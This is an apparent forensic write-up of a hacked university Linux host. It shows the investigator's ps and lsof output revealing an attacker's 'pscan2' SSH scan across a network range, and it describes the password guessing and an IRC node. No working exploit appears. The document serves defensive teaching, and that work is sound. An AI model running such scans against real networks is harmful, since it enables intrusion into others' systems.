Linux / UNIX keyboard.

Intrusion Analysis

Analyzing a Hacked Linux System

This is an analysis of multiple intrusions into a poorly configured Linux system. A graduate student added a system to a laboratory network and created a user with a very weak password. An attacker broke into that system and started using it to attack a network of systems at General Motors, who immediately detected the attack and reported it to the university. Tracing things back, we will see that the attacker had earlier broken into a system at a German web-hosting company. This is typical: systems are used to attack and exploit other systems.

If you want to follow along with your own analysis, jump to the bottom to download an archive of the real data collection.

Background and very brief summary

The host slim was added to a laboratory network at a major U.S. university.

No, the account name was not really julie, the IP address of slim was not really 1.2.3.4, and yes, the full domain name has been removed from this report.

Out of the accounts added, two had very weak passwords: julie and mysql. The account julie was a "Joe Account" — its password was the same as the login name.

The lab was soon contacted by the university's network administrators — other organizations were reporting that slim had been attacking their servers. Sure enough, Dshield had collected seven reports from six targets during a three-day period! Each report was for multiple attacks. Dshield data is based on collecting the world's Snort intrusion detection logs. Some organization directly contacted the university to complain about attacks from slim and the university's network group called the lab. The lab immediately unplugged slim's Ethernet cable but left everything running.

To use Dshield to see if a host has been attacking others:
  http://www.dshield.org/ipinfo.html?ip=1.2.3.4
For more details, including the times and target ports:
  http://www.dshield.org/ipdetails.html?ip=1.2.3.4
Of course, change the IP address to one of interest!

To summarize what had happened:

Both accounts julie and mysql had been compromised, by independent hackers possibly unaware of each other. In at least the first case, the attack came from another exploited system overseas.

The user julie was running a port scanner to find SSH servers, and then running an automated SSH password guesser to try to break accounts on those servers. This included a stealthy backdoor so the hacker could use this system with a lower probability of detection.

The user mysql was running an IRC chat node for a group of hackers led by a Romanian and including some members elsewhere in Europe and at the University of Maine — or at least using or abusing hosts in those locations to connect via IRC!

In the following I walk through the analysis, showing how the story was derived from the evidence.

What is the compromised host doing?

The lab created an account for me on slim, and I immediately ran top. Not knowing what had happened, I was prepared to be very skeptical about what I saw. If they had gotten root privileges, the installation of a root kit would mean that I really couldn't trust anything I saw. I would have to reboot the system from media, maybe a friendly desktop-oriented live CD like Linux Mint, or maybe a specially-designed forensics DVD like Kali Linux. That way I can use tools in a trustworthy environment.

A simple root kit might replace crucial utilities like top, ps, netstat, and so on. Worse yet, it might replace the shared libraries, subverting any dynamically-linked programs (and most everything on Linux is dynamically linked!). Or worst of all, it might replace kernel modules or even those plus the monolithic kernel. Once you're running the bad guy's kernel, you really can't trust anything.

However, top showed me that a process named pscan2 owned by the user julie was using 100% of the CPU time! Here is what ps showed me:

% ps axuwww | egrep 'PID|julie '
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
julie     5157  0.0  0.0   4056  1192 ?        Ss   Aug10   0:01 SCREEN
julie     5158  0.0  0.1   5572  3172 pts/1    Ss   Aug10   0:00 /bin/bash
julie     5177  0.0  0.0   5636  2572 pts/1    S+   Aug10   0:00 /bin/bash
julie     3901  0.0  0.0   1452    96 ?        S    Aug13   0:00 bash
julie    24890  0.0  0.0   3604  1276 pts/1    S+   10:52   0:00 /bin/bash ./a 130.172
julie    24891  100  0.0   1596   492 pts/1    R+   10:52   2:19 ./pscan2 130.172 22 

Let's use lsof to see what that pscan2 process is doing. Important information in the below output includes:

Here's the output (and no, the IP address for slim is not really 1.2.3.4!). As you can see, it was rather busy on the network....

% lsof -n -p 24891
COMMAND   PID   USER   FD   TYPE     DEVICE      SIZE       NODE NAME
pscan2  24891  julie  cwd    DIR        8,1      4096   26345487 /tmp/.X11-fonts/.. 
pscan2  24891  julie  rtd    DIR        8,1      4096          2 /
pscan2  24891  julie  txt    REG        8,1     21407   26345492 /tmp/.X11-fonts/.. /pscan2
pscan2  24891  julie  mem    REG        0,0                    0 [heap] (stat: No such file or directory)
pscan2  24891  julie  mem    REG        8,1   1248904    1114479 /lib/tls/i686/cmov/libc-2.4.so
pscan2  24891  julie  mem    REG        8,1    105112    1081348 /lib/ld-2.4.so
pscan2  24891  julie    0u   CHR      136,1                    3 /dev/pts/1
pscan2  24891  julie    1u   CHR      136,1                    3 /dev/pts/1
pscan2  24891  julie    2u   CHR      136,1                    3 /dev/pts/1
pscan2  24891  julie    3w   REG        8,1         0   26345493 /tmp/.X11-fonts/.. /130.172.pscan.22
pscan2  24891  julie    4u  IPv4   53754278                  TCP 1.2.3.4:60448->130.172.47.25:ssh (SYN_SENT)
pscan2  24891  julie    5u  IPv4   53754279                  TCP 1.2.3.4:39799->130.172.47.26:ssh (SYN_SENT)
pscan2  24891  julie    6u  IPv4   53754280                  TCP 1.2.3.4:53838->130.172.47.27:ssh (SYN_SENT)
pscan2  24891  julie    7u  IPv4   53754281                  TCP 1.2.3.4:37173->130.172.47.28:ssh (SYN_SENT)
pscan2  24891  julie    8u  IPv4   53754282                  TCP 1.2.3.4:43614->130.172.47.29:ssh (SYN_SENT)
pscan2  24891  julie    9u  IPv4   53754283                  TCP 1.2.3.4:38012->130.172.47.30:ssh (SYN_SENT)
pscan2  24891  julie   10u  IPv4   53754284                  TCP 1.2.3.4:50746->130.172.47.31:ssh (SYN_SENT)
pscan2  24891  julie   11u  IPv4   53754285                  TCP 1.2.3.4:39671->130.172.47.32:ssh (SYN_SENT)
pscan2  24891  julie   12u  IPv4   53754286                  TCP 1.2.3.4:47444->130.172.47.33:ssh (SYN_SENT)
pscan2  24891  julie   13u  IPv4   53754287                  TCP 1.2.3.4:42614->130.172.47.34:ssh (SYN_SENT)
pscan2  24891  julie   14u  IPv4   53754288                  TCP 1.2.3.4:33253->130.172.47.35:ssh (SYN_SENT)
pscan2  24891  julie   15u  IPv4   53754289                  TCP 1.2.3.4:58916->130.172.47.36:ssh (SYN_SENT)
pscan2  24891  julie   16u  IPv4   53754290                  TCP 1.2.3.4:49819->130.172.47.37:ssh (SYN_SENT)
pscan2  24891  julie   17u  IPv4   53754291                  TCP 1.2.3.4:43781->130.172.47.38:ssh (SYN_SENT)
pscan2  24891  julie   18u  IPv4   53754292                  TCP 1.2.3.4:44462->130.172.47.39:ssh (SYN_SENT)
pscan2  24891  julie   19u  IPv4   53754293                  TCP 1.2.3.4:53078->130.172.47.40:ssh (SYN_SENT)
pscan2  24891  julie   20u  IPv4   53754294                  TCP 1.2.3.4:51166->130.172.47.41:ssh (SYN_SENT)
pscan2  24891  julie   21u  IPv4   53754295                  TCP 1.2.3.4:49919->130.172.47.42:ssh (SYN_SENT)
pscan2  24891  julie   22u  IPv4   53754296                  TCP 1.2.3.4:33049->130.172.47.43:ssh (SYN_SENT)
pscan2  24891  julie   23u  IPv4   53754297                  TCP 1.2.3.4:44201->130.172.47.44:ssh (SYN_SENT)
pscan2  24891  julie   24u  IPv4   53754298                  TCP 1.2.3.4:60096->130.172.47.45:ssh (SYN_SENT)
pscan2  24891  julie   25u  IPv4   53754299                  TCP 1.2.3.4:57085->130.172.47.46:ssh (SYN_SENT)
pscan2  24891  julie   26u  IPv4   53754300                  TCP 1.2.3.4:34920->130.172.47.47:ssh (SYN_SENT)
pscan2  24891  julie   27u  IPv4   53754301                  TCP 1.2.3.4:47956->130.172.47.48:ssh (SYN_SENT)
pscan2  24891  julie   28u  IPv4   53754302                  TCP 1.2.3.4:53559->130.172.47.49:ssh (SYN_SENT)
pscan2  24891  julie   29u  IPv4   53754303                  TCP 1.2.3.4:57522->130.172.47.50:ssh (SYN_SENT)
pscan2  24891  julie   30u  IPv4   53754304                  TCP 1.2.3.4:41672->130.172.47.51:ssh (SYN_SENT)
pscan2  24891  julie   31u  IPv4   53754305                  TCP 1.2.3.4:43809->130.172.47.52:ssh (SYN_SENT)
pscan2  24891  julie   32u  IPv4   53754306                  TCP 1.2.3.4:51029->130.172.47.53:ssh (SYN_SENT)
pscan2  24891  julie   33u  IPv4   53754307                  TCP 1.2.3.4:40608->130.172.47.54:ssh (SYN_SENT)
pscan2  24891  julie   34u  IPv4   53754308                  TCP 1.2.3.4:37479->130.172.47.55:ssh (SYN_SENT)
pscan2  24891  julie   35u  IPv4   53754309                  TCP 1.2.3.4:57940->130.172.47.56:ssh (SYN_SENT)
pscan2  24891  julie   36u  IPv4   53754310                  TCP 1.2.3.4:49230->130.172.47.57:ssh (SYN_SENT)
pscan2  24891  julie   37u  IPv4   53754311                  TCP 1.2.3.4:58717->130.172.47.58:ssh (SYN_SENT)
pscan2  24891  julie   38u  IPv4   53754312                  TCP 1.2.3.4:59216->130.172.47.59:ssh (SYN_SENT)
pscan2  24891  julie   39u  IPv4   53754313                  TCP 1.2.3.4:55537->130.172.47.60:ssh (SYN_SENT)
pscan2  24891  julie   40u  IPv4   53754314                  TCP 1.2.3.4:59840->130.172.47.61:ssh (SYN_SENT)
pscan2  24891  julie   41u  IPv4   53754315                  TCP 1.2.3.4:38460->130.172.47.62:ssh (SYN_SENT)
pscan2  24891  julie   42u  IPv4   53754316                  TCP 1.2.3.4:54235->130.172.47.63:ssh (SYN_SENT)
pscan2  24891  julie   43u  IPv4   53754317                  TCP 1.2.3.4:49512->130.172.47.64:ssh (SYN_SENT)
pscan2  24891  julie   44u  IPv4   53754318                  TCP 1.2.3.4:40106->130.172.47.65:ssh (SYN_SENT)
pscan2  24891  julie   45u  IPv4   53754319                  TCP 1.2.3.4:51525->130.172.47.66:ssh (SYN_SENT)
pscan2  24891  julie   46u  IPv4   53754320                  TCP 1.2.3.4:38483->130.172.47.67:ssh (SYN_SENT)
pscan2  24891  julie   47u  IPv4   53754321                  TCP 1.2.3.4:45578->130.172.47.68:ssh (SYN_SENT)
pscan2  24891  julie   48u  IPv4   53754322                  TCP 1.2.3.4:46124->130.172.47.69:ssh (SYN_SENT)
pscan2  24891  julie   49u  IPv4   53754323                  TCP 1.2.3.4:52372->130.172.47.70:ssh (SYN_SENT)
pscan2  24891  julie   50u  IPv4   53754324                  TCP 1.2.3.4:47683->130.172.47.71:ssh (SYN_SENT)
pscan2  24891  julie   51u  IPv4   53754325                  TCP 1.2.3.4:53668->130.172.47.72:ssh (SYN_SENT)
pscan2  24891  julie   52u  IPv4   53753929                  TCP 1.2.3.4:33430->130.172.45.186:ssh (SYN_SENT)
pscan2  24891  julie   53u  IPv4   53753930                  TCP 1.2.3.4:39803->130.172.45.187:ssh (SYN_SENT)
pscan2  24891  julie   54u  IPv4   53753931                  TCP 1.2.3.4:53224->130.172.45.188:ssh (SYN_SENT)
pscan2  24891  julie   55u  IPv4   53753932                  TCP 1.2.3.4:46532->130.172.45.189:ssh (SYN_SENT)
pscan2  24891  julie   56u  IPv4   53753933                  TCP 1.2.3.4:57163->130.172.45.190:ssh (SYN_SENT)
pscan2  24891  julie   57u  IPv4   53753934                  TCP 1.2.3.4:51463->130.172.45.191:ssh (SYN_SENT)
pscan2  24891  julie   58u  IPv4   53753935                  TCP 1.2.3.4:49014->130.172.45.192:ssh (SYN_SENT)
pscan2  24891  julie   59u  IPv4   53753936                  TCP 1.2.3.4:35785->130.172.45.193:ssh (SYN_SENT)
pscan2  24891  julie   60u  IPv4   53753937                  TCP 1.2.3.4:47371->130.172.45.194:ssh (SYN_SENT)
pscan2  24891  julie   61u  IPv4   53753938                  TCP 1.2.3.4:44310->130.172.45.195:ssh (SYN_SENT)
pscan2  24891  julie   62u  IPv4   53753939                  TCP 1.2.3.4:37952->130.172.45.196:ssh (SYN_SENT)
pscan2  24891  julie   63u  IPv4   53753940                  TCP 1.2.3.4:44075->130.172.45.197:ssh (SYN_SENT)
pscan2  24891  julie   64u  IPv4   53753941                  TCP 1.2.3.4:41698->130.172.45.198:ssh (SYN_SENT)
pscan2  24891  julie   65u  IPv4   53753942                  TCP 1.2.3.4:45007->130.172.45.199:ssh (SYN_SENT)
pscan2  24891  julie   66u  IPv4   53753943                  TCP 1.2.3.4:34097->130.172.45.200:ssh (SYN_SENT)
pscan2  24891  julie   67u  IPv4   53753944                  TCP 1.2.3.4:55748->130.172.45.201:ssh (SYN_SENT)
pscan2  24891  julie   68u  IPv4   53753945                  TCP 1.2.3.4:35486->130.172.45.202:ssh (SYN_SENT)
pscan2  24891  julie   69u  IPv4   53753946                  TCP 1.2.3.4:44978->130.172.45.203:ssh (SYN_SENT)
pscan2  24891  julie   70u  IPv4   53753947                  TCP 1.2.3.4:58275->130.172.45.204:ssh (SYN_SENT)
pscan2  24891  julie   71u  IPv4   53753948                  TCP 1.2.3.4:33134->130.172.45.205:ssh (SYN_SENT)
pscan2  24891  julie   72u  IPv4   53753949                  TCP 1.2.3.4:42515->130.172.45.206:ssh (SYN_SENT)
pscan2  24891  julie   73u  IPv4   53753950                  TCP 1.2.3.4:43391->130.172.45.207:ssh (SYN_SENT)
pscan2  24891  julie   74u  IPv4   53753951                  TCP 1.2.3.4:46745->130.172.45.208:ssh (SYN_SENT)
pscan2  24891  julie   75u  IPv4   53753952                  TCP 1.2.3.4:57498->130.172.45.209:ssh (SYN_SENT)
pscan2  24891  julie   76u  IPv4   53753953                  TCP 1.2.3.4:43963->130.172.45.210:ssh (SYN_SENT)
pscan2  24891  julie   77u  IPv4   53753954                  TCP 1.2.3.4:41439->130.172.45.211:ssh (SYN_SENT)
pscan2  24891  julie   78u  IPv4   53753955                  TCP 1.2.3.4:48143->130.172.45.212:ssh (SYN_SENT)
pscan2  24891  julie   79u  IPv4   53753956                  TCP 1.2.3.4:39298->130.172.45.213:ssh (SYN_SENT)
pscan2  24891  julie   80u  IPv4   53753957                  TCP 1.2.3.4:42772->130.172.45.214:ssh (SYN_SENT)
pscan2  24891  julie   81u  IPv4   53753958                  TCP 1.2.3.4:53126->130.172.45.215:ssh (SYN_SENT)
pscan2  24891  julie   82u  IPv4   53753959                  TCP 1.2.3.4:48424->130.172.45.216:ssh (SYN_SENT)
pscan2  24891  julie   83u  IPv4   53753960                  TCP 1.2.3.4:53871->130.172.45.217:ssh (SYN_SENT)
pscan2  24891  julie   84u  IPv4   53753961                  TCP 1.2.3.4:53953->130.172.45.218:ssh (SYN_SENT)
pscan2  24891  julie   85u  IPv4   53753962                  TCP 1.2.3.4:60488->130.172.45.219:ssh (SYN_SENT)
pscan2  24891  julie   86u  IPv4   53753963                  TCP 1.2.3.4:54874->130.172.45.220:ssh (SYN_SENT)
pscan2  24891  julie   87u  IPv4   53753964                  TCP 1.2.3.4:41433->130.172.45.221:ssh (SYN_SENT)
pscan2  24891  julie   88u  IPv4   53753965                  TCP 1.2.3.4:58304->130.172.45.222:ssh (SYN_SENT)
pscan2  24891  julie   89u  IPv4   53753966                  TCP 1.2.3.4:57391->130.172.45.223:ssh (SYN_SENT)
pscan2  24891  julie   90u  IPv4   53753967                  TCP 1.2.3.4:33557->130.172.45.224:ssh (SYN_SENT)
pscan2  24891  julie   91u  IPv4   53753968                  TCP 1.2.3.4:49447->130.172.45.225:ssh (SYN_SENT)
pscan2  24891  julie   92u  IPv4   53753969                  TCP 1.2.3.4:49000->130.172.45.226:ssh (SYN_SENT)
pscan2  24891  julie   93u  IPv4   53753970                  TCP 1.2.3.4:40296->130.172.45.227:ssh (SYN_SENT)
pscan2  24891  julie   94u  IPv4   53753971                  TCP 1.2.3.4:46191->130.172.45.228:ssh (SYN_SENT)
pscan2  24891  julie   95u  IPv4   53753972                  TCP 1.2.3.4:47531->130.172.45.229:ssh (SYN_SENT)
pscan2  24891  julie   96u  IPv4   53753973                  TCP 1.2.3.4:50223->130.172.45.230:ssh (SYN_SENT)
pscan2  24891  julie   97u  IPv4   53753974                  TCP 1.2.3.4:37735->130.172.45.231:ssh (SYN_SENT)
pscan2  24891  julie   98u  IPv4   53753975                  TCP 1.2.3.4:33381->130.172.45.232:ssh (SYN_SENT)
pscan2  24891  julie   99u  IPv4   53753976                  TCP 1.2.3.4:39546->130.172.45.233:ssh (SYN_SENT)
pscan2  24891  julie  100u  IPv4   53753977                  TCP 1.2.3.4:41713->130.172.45.234:ssh (SYN_SENT)
pscan2  24891  julie  101u  IPv4   53753978                  TCP 1.2.3.4:42231->130.172.45.235:ssh (SYN_SENT)
pscan2  24891  julie  102u  IPv4   53753979                  TCP 1.2.3.4:42339->130.172.45.236:ssh (SYN_SENT)
pscan2  24891  julie  103u  IPv4   53753980                  TCP 1.2.3.4:36467->130.172.45.237:ssh (SYN_SENT)
pscan2  24891  julie  104u  IPv4   53753981                  TCP 1.2.3.4:41212->130.172.45.238:ssh (SYN_SENT)
pscan2  24891  julie  105u  IPv4   53753982                  TCP 1.2.3.4:47971->130.172.45.239:ssh (SYN_SENT)
pscan2  24891  julie  106u  IPv4   53753983                  TCP 1.2.3.4:54026->130.172.45.240:ssh (SYN_SENT)
pscan2  24891  julie  107u  IPv4   53753984                  TCP 1.2.3.4:36043->130.172.45.241:ssh (SYN_SENT)
pscan2  24891  julie  108u  IPv4   53753985                  TCP 1.2.3.4:56844->130.172.45.242:ssh (SYN_SENT)
pscan2  24891  julie  109u  IPv4   53753986                  TCP 1.2.3.4:51402->130.172.45.243:ssh (SYN_SENT)
pscan2  24891  julie  110u  IPv4   53753987                  TCP 1.2.3.4:37137->130.172.45.244:ssh (SYN_SENT)
pscan2  24891  julie  111u  IPv4   53753988                  TCP 1.2.3.4:60103->130.172.45.245:ssh (SYN_SENT)
pscan2  24891  julie  112u  IPv4   53753989                  TCP 1.2.3.4:57909->130.172.45.246:ssh (SYN_SENT)
pscan2  24891  julie  113u  IPv4   53753990                  TCP 1.2.3.4:40779->130.172.45.247:ssh (SYN_SENT)
pscan2  24891  julie  114u  IPv4   53753991                  TCP 1.2.3.4:53799->130.172.45.248:ssh (SYN_SENT)
pscan2  24891  julie  115u  IPv4   53753992                  TCP 1.2.3.4:59629->130.172.45.249:ssh (SYN_SENT)
pscan2  24891  julie  116u  IPv4   53753993                  TCP 1.2.3.4:56370->130.172.45.250:ssh (SYN_SENT)
pscan2  24891  julie  117u  IPv4   53753994                  TCP 1.2.3.4:41563->130.172.45.251:ssh (SYN_SENT)
pscan2  24891  julie  118u  IPv4   53753995                  TCP 1.2.3.4:38592->130.172.45.252:ssh (SYN_SENT)
pscan2  24891  julie  119u  IPv4   53753996                  TCP 1.2.3.4:44563->130.172.45.253:ssh (SYN_SENT)
pscan2  24891  julie  120u  IPv4   53753997                  TCP 1.2.3.4:53463->130.172.45.254:ssh (SYN_SENT)
pscan2  24891  julie  121u  IPv4   53753998                  TCP 1.2.3.4:48402->130.172.46.0:ssh (SYN_SENT)
pscan2  24891  julie  122u  IPv4   53753999                  TCP 1.2.3.4:44459->130.172.46.1:ssh (SYN_SENT)
pscan2  24891  julie  123u  IPv4   53754000                  TCP 1.2.3.4:37235->130.172.46.2:ssh (SYN_SENT)
pscan2  24891  julie  124u  IPv4   53754001                  TCP 1.2.3.4:35592->130.172.46.3:ssh (SYN_SENT)
pscan2  24891  julie  125u  IPv4   53754002                  TCP 1.2.3.4:41735->130.172.46.4:ssh (SYN_SENT)
pscan2  24891  julie  126u  IPv4   53754003                  TCP 1.2.3.4:55467->130.172.46.5:ssh (SYN_SENT)
pscan2  24891  julie  127u  IPv4   53754004                  TCP 1.2.3.4:45688->130.172.46.6:ssh (SYN_SENT)
pscan2  24891  julie  128u  IPv4   53754005                  TCP 1.2.3.4:50191->130.172.46.7:ssh (SYN_SENT)
pscan2  24891  julie  129u  IPv4   53754006                  TCP 1.2.3.4:34441->130.172.46.8:ssh (SYN_SENT)
pscan2  24891  julie  130u  IPv4   53754007                  TCP 1.2.3.4:37898->130.172.46.9:ssh (SYN_SENT)
pscan2  24891  julie  131u  IPv4   53754008                  TCP 1.2.3.4:57892->130.172.46.10:ssh (SYN_SENT)
pscan2  24891  julie  132u  IPv4   53754009                  TCP 1.2.3.4:46474->130.172.46.11:ssh (SYN_SENT)
pscan2  24891  julie  133u  IPv4   53754010                  TCP 1.2.3.4:33528->130.172.46.12:ssh (SYN_SENT)
pscan2  24891  julie  134u  IPv4   53754011                  TCP 1.2.3.4:46437->130.172.46.13:ssh (SYN_SENT)
pscan2  24891  julie  135u  IPv4   53754012                  TCP 1.2.3.4:40632->130.172.46.14:ssh (SYN_SENT)
pscan2  24891  julie  136u  IPv4   53754013                  TCP 1.2.3.4:53968->130.172.46.15:ssh (SYN_SENT)
pscan2  24891  julie  137u  IPv4   53754014                  TCP 1.2.3.4:43605->130.172.46.16:ssh (SYN_SENT)
pscan2  24891  julie  138u  IPv4   53754015                  TCP 1.2.3.4:60385->130.172.46.17:ssh (SYN_SENT)
pscan2  24891  julie  139u  IPv4   53754016                  TCP 1.2.3.4:47944->130.172.46.18:ssh (SYN_SENT)
pscan2  24891  julie  140u  IPv4   53754017                  TCP 1.2.3.4:58519->130.172.46.19:ssh (SYN_SENT)
pscan2  24891  julie  141u  IPv4   53754018                  TCP 1.2.3.4:52132->130.172.46.20:ssh (SYN_SENT)
pscan2  24891  julie  142u  IPv4   53754019                  TCP 1.2.3.4:34172->130.172.46.21:ssh (SYN_SENT)
pscan2  24891  julie  143u  IPv4   53754020                  TCP 1.2.3.4:47490->130.172.46.22:ssh (SYN_SENT)
pscan2  24891  julie  144u  IPv4   53754021                  TCP 1.2.3.4:56722->130.172.46.23:ssh (SYN_SENT)
pscan2  24891  julie  145u  IPv4   53754022                  TCP 1.2.3.4:49665->130.172.46.24:ssh (SYN_SENT)
pscan2  24891  julie  146u  IPv4   53754023                  TCP 1.2.3.4:46085->130.172.46.25:ssh (SYN_SENT)
pscan2  24891  julie  147u  IPv4   53754024                  TCP 1.2.3.4:43503->130.172.46.26:ssh (SYN_SENT)
pscan2  24891  julie  148u  IPv4   53754025                  TCP 1.2.3.4:47800->130.172.46.27:ssh (SYN_SENT)
pscan2  24891  julie  149u  IPv4   53754026                  TCP 1.2.3.4:35991->130.172.46.28:ssh (SYN_SENT)
pscan2  24891  julie  150u  IPv4   53754027                  TCP 1.2.3.4:54309->130.172.46.29:ssh (SYN_SENT)
pscan2  24891  julie  151u  IPv4   53754028                  TCP 1.2.3.4:52180->130.172.46.30:ssh (SYN_SENT)
pscan2  24891  julie  152u  IPv4   53754029                  TCP 1.2.3.4:54812->130.172.46.31:ssh (SYN_SENT)
pscan2  24891  julie  153u  IPv4   53754030                  TCP 1.2.3.4:45554->130.172.46.32:ssh (SYN_SENT)
pscan2  24891  julie  154u  IPv4   53754031                  TCP 1.2.3.4:56001->130.172.46.33:ssh (SYN_SENT)
pscan2  24891  julie  155u  IPv4   53754032                  TCP 1.2.3.4:57242->130.172.46.34:ssh (SYN_SENT)
pscan2  24891  julie  156u  IPv4   53754033                  TCP 1.2.3.4:46722->130.172.46.35:ssh (SYN_SENT)
pscan2  24891  julie  157u  IPv4   53754034                  TCP 1.2.3.4:38650->130.172.46.36:ssh (SYN_SENT)
pscan2  24891  julie  158u  IPv4   53754035                  TCP 1.2.3.4:54045->130.172.46.37:ssh (SYN_SENT)
pscan2  24891  julie  159u  IPv4   53754036                  TCP 1.2.3.4:48415->130.172.46.38:ssh (SYN_SENT)
pscan2  24891  julie  160u  IPv4   53754037                  TCP 1.2.3.4:36644->130.172.46.39:ssh (SYN_SENT)
pscan2  24891  julie  161u  IPv4   53754038                  TCP 1.2.3.4:43431->130.172.46.40:ssh (SYN_SENT)
pscan2  24891  julie  162u  IPv4   53754039                  TCP 1.2.3.4:33752->130.172.46.41:ssh (SYN_SENT)
pscan2  24891  julie  163u  IPv4   53754040                  TCP 1.2.3.4:41099->130.172.46.42:ssh (SYN_SENT)
pscan2  24891  julie  164u  IPv4   53754041                  TCP 1.2.3.4:47371->130.172.46.43:ssh (SYN_SENT)
pscan2  24891  julie  165u  IPv4   53754042                  TCP 1.2.3.4:49324->130.172.46.44:ssh (SYN_SENT)
pscan2  24891  julie  166u  IPv4   53754043                  TCP 1.2.3.4:37386->130.172.46.45:ssh (SYN_SENT)
pscan2  24891  julie  167u  IPv4   53754044                  TCP 1.2.3.4:42302->130.172.46.46:ssh (SYN_SENT)
pscan2  24891  julie  168u  IPv4   53754045                  TCP 1.2.3.4:45391->130.172.46.47:ssh (SYN_SENT)
pscan2  24891  julie  169u  IPv4   53754046                  TCP 1.2.3.4:45158->130.172.46.48:ssh (SYN_SENT)
pscan2  24891  julie  170u  IPv4   53754047                  TCP 1.2.3.4:47037->130.172.46.49:ssh (SYN_SENT)
pscan2  24891  julie  171u  IPv4   53754048                  TCP 1.2.3.4:44191->130.172.46.50:ssh (SYN_SENT)
pscan2  24891  julie  172u  IPv4   53754049                  TCP 1.2.3.4:56457->130.172.46.51:ssh (SYN_SENT)
pscan2  24891  julie  173u  IPv4   53754050                  TCP 1.2.3.4:38784->130.172.46.52:ssh (SYN_SENT)
pscan2  24891  julie  174u  IPv4   53754051                  TCP 1.2.3.4:53302->130.172.46.53:ssh (SYN_SENT)
pscan2  24891  julie  175u  IPv4   53754052                  TCP 1.2.3.4:53474->130.172.46.54:ssh (SYN_SENT)
pscan2  24891  julie  176u  IPv4   53754053                  TCP 1.2.3.4:38427->130.172.46.55:ssh (SYN_SENT)
pscan2  24891  julie  177u  IPv4   53754054                  TCP 1.2.3.4:33204->130.172.46.56:ssh (SYN_SENT)
pscan2  24891  julie  178u  IPv4   53754055                  TCP 1.2.3.4:43975->130.172.46.57:ssh (SYN_SENT)
pscan2  24891  julie  179u  IPv4   53754056                  TCP 1.2.3.4:43859->130.172.46.58:ssh (SYN_SENT)
pscan2  24891  julie  180u  IPv4   53754057                  TCP 1.2.3.4:41574->130.172.46.59:ssh (SYN_SENT)
pscan2  24891  julie  181u  IPv4   53754058                  TCP 1.2.3.4:39617->130.172.46.60:ssh (SYN_SENT)
pscan2  24891  julie  182u  IPv4   53754059                  TCP 1.2.3.4:57293->130.172.46.61:ssh (SYN_SENT)
pscan2  24891  julie  183u  IPv4   53754060                  TCP 1.2.3.4:50834->130.172.46.62:ssh (SYN_SENT)
pscan2  24891  julie  184u  IPv4   53754061                  TCP 1.2.3.4:51658->130.172.46.63:ssh (SYN_SENT)
pscan2  24891  julie  185u  IPv4   53754062                  TCP 1.2.3.4:40389->130.172.46.64:ssh (SYN_SENT)
pscan2  24891  julie  186u  IPv4   53754063                  TCP 1.2.3.4:49077->130.172.46.65:ssh (SYN_SENT)
pscan2  24891  julie  187u  IPv4   53754064                  TCP 1.2.3.4:48412->130.172.46.66:ssh (SYN_SENT)
pscan2  24891  julie  188u  IPv4   53754065                  TCP 1.2.3.4:53878->130.172.46.67:ssh (SYN_SENT)
pscan2  24891  julie  189u  IPv4   53754066                  TCP 1.2.3.4:51157->130.172.46.68:ssh (SYN_SENT)
pscan2  24891  julie  190u  IPv4   53754067                  TCP 1.2.3.4:60214->130.172.46.69:ssh (SYN_SENT)
pscan2  24891  julie  191u  IPv4   53754068                  TCP 1.2.3.4:56819->130.172.46.70:ssh (SYN_SENT)
pscan2  24891  julie  192u  IPv4   53754069                  TCP 1.2.3.4:38137->130.172.46.71:ssh (SYN_SENT)
pscan2  24891  julie  193u  IPv4   53754070                  TCP 1.2.3.4:50263->130.172.46.72:ssh (SYN_SENT)
pscan2  24891  julie  194u  IPv4   53754071                  TCP 1.2.3.4:52100->130.172.46.73:ssh (SYN_SENT)
pscan2  24891  julie  195u  IPv4   53754072                  TCP 1.2.3.4:48060->130.172.46.74:ssh (SYN_SENT)
